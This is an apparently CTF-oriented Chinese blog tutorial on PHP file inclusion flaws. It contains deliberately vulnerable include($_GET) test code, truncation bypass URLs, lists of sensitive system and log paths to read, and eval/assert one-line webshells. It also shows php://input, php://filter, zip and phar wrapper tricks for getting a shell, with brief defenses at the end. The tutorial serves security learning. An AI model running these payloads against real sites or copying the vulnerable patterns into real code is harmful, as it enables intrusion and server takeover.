文件包含漏洞(總結)+常見的getshell+PHP僞協議

寫在前邊

  最近兩天突然失去夢想,做題目全是知識盲區,就放棄思考了幾天,想想還是寫點什麼,這裏先總結一下什麼是文件包含以及以PHP僞協議的文件包含利用,後續再更新CTF的實戰

注意:所有實驗必須要在php.ini中 allow_url_fopen =On 、allow_url_include = On

 

文件包含漏洞原理

  程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這中文件調用的過程一般被稱爲文件包含。在實際WEB應用中,當頁眉需要更新時,只更新一個包含文件就可以了,或者當您向網站添加一張新頁面時,僅僅需要修改一下菜單文件(而不是更新所有網頁中的鏈接)。

  開發人員都希望代碼更加靈活,所以通常會將被包含的文件設置爲變量,在文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼。

 

PHP常見文件包含函數

  include()、include_once()、require()、require_once()

  include()和require()區別

  • require 生成一個致命錯誤(E_COMPILE_ERROR),在錯誤發生後腳本會停止執行。
  • include 生成一個警告(E_WARNING),在錯誤發生後腳本會繼續執行

  演示一下,新建一個測試文件a.php,在同目錄下有個home.php、upload.php、download.php這三個文件,我

<?php

    $filename = $_GET['filename'];
    include($filename);
    echo '$filename='.$filename;

?>

  在同目錄下有個home.php、upload.php、download.php這三個文件,只要根據不同的參數,我們就可以訪問不同的文件

 

 

 

 

 

 

 

 

 

   此時,我們訪問的當前目錄下的文件,如果不限制參數,我們可以讀取其他其他路徑下的文件,這裏有個絕對路徑相對路徑的概念

  新建一個aaa.php,這裏存放一個類

<?php

class Man{
    public $name;
    public function eat(){
        echo $this->name." eating";}
}
?>

  再建一個aa.php,用來測試

<?php

include('路徑');  //修改導入路徑

$a = new Man();
$a->name = 'Lee';
$a->eat();
?>

 

  絕對路徑:絕對路徑是指文件在硬盤上真正存在的路徑。如修改路徑爲 /var/www/html/web/aaa.php

include('/var/www/html/web/aaa.php')

 

  相對路徑:就是相對於自己的目標文件位置 如 ./aaa.php,只要兩個文件相對的路徑不變,那麼實際就是對的

include('./aaa.php');

 

 

   瞭解了什麼是包含和路徑,現在具體來看看文件包含漏洞

 

PHP文件包含漏洞

  文件包含漏洞利用的前提條件:
  (1)web 應用採用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參數的方式引入;
  (2)用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問;

  1、無限制本地文件包含漏洞

  依照剛剛所講述的,我們利用filename這個參數控制我們訪問的頁面,再參照路徑問題,當未對參數進行訪問控制時,我們可以訪問其他路徑下的文件,我的服務器是在Linux上的

 

   2、有限制本地文件包含漏洞繞過

    測試代碼:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

     2.1   %00截斷

      條件:magic_quotes_gpc = Off php版本<5.3.4

    2.2  路徑長度截斷

      條件:windows OS,點號需要長於256;linux OS 長於4096

      EXP

http:/127.0.0.1/web/test.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

    2.3 點號截斷

      條件:windows OS,點號需要長於256

      EXP

http://127.0.0.1/web/test.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

  發現可以訪問一些敏感路徑

  Linux的敏感路徑

/etc/passwd
/usr/local/app/apache2/conf/httpd.conf //apache2 默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虛擬網站設置
/usr/local/app/php5/lib/php.ini //PHP 相關配置
/etc/httpd/conf/httpd.conf //apache
/etc/php5/apache2/php.ini //ubuntu 系統的默認路徑

  Windows的敏感路徑

C:\boot.ini //查看系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
C:\windows\repair\sam //存儲 windows 系統初次安裝的密碼
C:\Program Files\mysql\my.ini //mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php 配置信息
C:\windows\my.ini //mysql 配置文件

  日誌默認路徑

(1) apache+Linux 日誌默認路徑
      /etc/httpd/logs/access_log
      /var/log/httpd/access_log

(2) apache+win2003 日誌默認路徑
      D:\xampp\apache\logs\access.log
      D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 默認日誌文件
      C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默認日誌文件
      %SystemDrive%\inetpub\logs\LogFiles    

(5) nginx 日誌文件
      日誌文件在用戶安裝目錄 logs 目錄下

  web 中間件默認配置

(1) apache+linux 默認配置文件
        /etc/httpd/conf/httpd.conf
        index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件
        C:/Windows/system32/inetsrv/metabase.xml

(3) IIS7.0+WIN 配置文件
        C:\Windows\System32\inetsrv\config\applicationHost.config
        

 2、遠程文件包含

  這有個很有意思的地方,我們可以利用PHP的這個文件包含特性去訪問另一臺服務器的文件,測試代碼

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

  這可能會爆警告,但不用管他,我們只關心ERROR,WARNING愛咋咋的,我這開啓了另一臺服務器,有個phpinfo.php顯示php版本的文件

 

  3、文件包含+改寫文件 

  來設置一個極端場景,用戶可以通過修改參數來更新自己的信息保存在另一個文件裏

<?php
$filename = $_GET['filename'];
include('$filename'); 
$input_txt = $_GET['input_txt'];
$myfile = fopen("user.php", "w") or die("Unable to open file!");
fwrite($myfile, $input_txt);
fclose($myfile);
?>

  (真實場景中絕對不可能出現這種代碼,這裏只是演示 ORZ )

  發現我們可以控制訪問的文件和寫入,這裏我們通過傳參修改一下user.php的內容(這裏有個小BUG,第一次修改的時候不會顯示修改的值,刷新才兩次才更新,畢竟要先寫入後再返回)

 

  如果我們輸入的PHP代碼呢?

 

   發現成功執行了phpinfo()這個函數,這樣,我們可以修改相對應的文件進行getshell,這裏就簡單介紹一下利用代碼執行函數和命令執行函數來getshell(一些奇怪的實戰可能需要等刷到題),像這樣文件包含和改寫的在CTF中經常與序列化結合在一起,不瞭解序列化的可以去看一下 https://www.cnblogs.com/Lee-404/p/12771032.html

  這邊還有一個session.php利用,實際上3利用方法一樣的,前提是必須知道session.php的位置,phpinfo中可獲取

 

一句話木馬

  文件包含獲取 webshell 的條件:

  (1)攻擊者需要知道文件存放的物理路徑;
  (2)對上傳文件所在目錄擁有可執行權限;
  (3)存在文件包含漏洞;

  菜刀馬的原理是調用了PHP的代碼執行函數,常見的一句話菜刀馬,就是調用了eval函數、assert函數。

  1、eval()

    eval() 函數把字符串按照 PHP 代碼來計算。

    該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

    如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

<?php @eval($_POST['cmd']);?>  //菜刀密碼爲cmd

 

 

  改寫成功,接下來連接,我這菜刀連接不上,可能本地防火牆原因,所以用hackbar連接

 

 

   2、assert()函數

    eval() 函數把字符串按照 PHP 代碼來計算。

    該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

    如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

<?php @assert($_POST['cmd'])?>  //用法和eval一樣,具體後續再分析

  

PHP僞協議

  php://input(寫木馬)

  php://input 是個可以訪問請求的原始數據的只讀流。 POST 請求的情況下,最好使用 php://input 來代替 $HTTP_RAW_POST_DATA,因爲它不依賴於特定的 php.ini 指令。 而且,這樣的情況下 $HTTP_RAW_POST_DATA 默認沒有填充, 比激活 always_populate_raw_post_data 潛在需要更少的內存。 enctype=”multipart/form-data” 的時候 php://input 是無效的。  ——php.net

  簡單說就是獲取post數據。

  test.php

<?php
 
$d = file_get_contents('php://input');
@eval($d)
 
?>

 

 

 

   php://filter(讀文件)

   php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。    ——php.net

  簡單說經常利用它進行base64編碼,在CTF中,經常出現,我們利用

php://filter/read=convert.base64-encode/resource=xxx  //xxx是文件名

  測試代碼

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

 

 

  以base64的方式輸出,解碼 https://base64.supfree.net/

 zip://,bzip2://,zlib:// (上傳)

  zlib: 的功能類似 gzopen(),但是 其數據流還能被 fread() 和其他文件系統函數使用。 自 PHP 4.3.0 後這個不建議被使用,因爲會和其他帶“:”字符的文件名混淆; 請使用 compress.zlib:// 作爲替代。compress.zlib://、 compress.bzip2:// 和 gzopen()bzopen() 是相等的。並且可以在不支持 fopencookie 的系統中使用。ZIP 擴展 註冊了 zip: 封裝器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密歸檔開始支持密碼,允許數據流中使用密碼。 字節流上下文(stream contexts)中使用 ‘password’ 選項設置密碼。  ——php.net

   簡單說就是直接訪問壓縮包裏的文件。將phpinfo.txt壓縮成zip,實戰中可以改後綴爲jpg繞過上傳限制。

 

  data://僞協議

  數據流封裝器,和php://相似都是利用了流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中,簡單來說就是執行文件的包含方法包含了你的輸入流,通過你輸入payload來實現目的;如果php.ini裏的allow_url_include=On(PHP < 5.3.0),就可以造成任意代碼執行

   

  phar://僞協議

  這個參數是就是php解壓縮包的一個函數,不管後綴是什麼,都會當做壓縮包來解壓。

  用法:?file=phar://壓縮包/內部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮後,改爲其他任意格式的文件都可以正常使用。 步驟: 寫一個一句話木馬文件shell.php,然後用zip協議壓縮爲shell.zip,然後將後綴改爲png等其他格式。注意:PHP > =5.3.0 壓縮包需要是zip協議壓縮,rar不行,將木馬文件壓縮後,改爲其他任意格式的文件都可以正常使用。   步驟: 寫一個一句話木馬文件shell.php,然後用zip協議壓縮爲shell.zip,然後將後綴改爲png等其他格式。

  

  在CTF中,可以利用這些僞協議來進行騷操作

 

防禦方案

  • 在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗
  • 做好文件的權限管理
  • 對危險字符進行過濾等等

 

 參考鏈接

  https://blog.csdn.net/nzjdsds/article/details/82461043

  https://www.freebuf.com/articles/web/182280.html

  https://www.cnblogs.com/fox-yu/p/9134848.html

如有錯誤請指出,謝謝

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章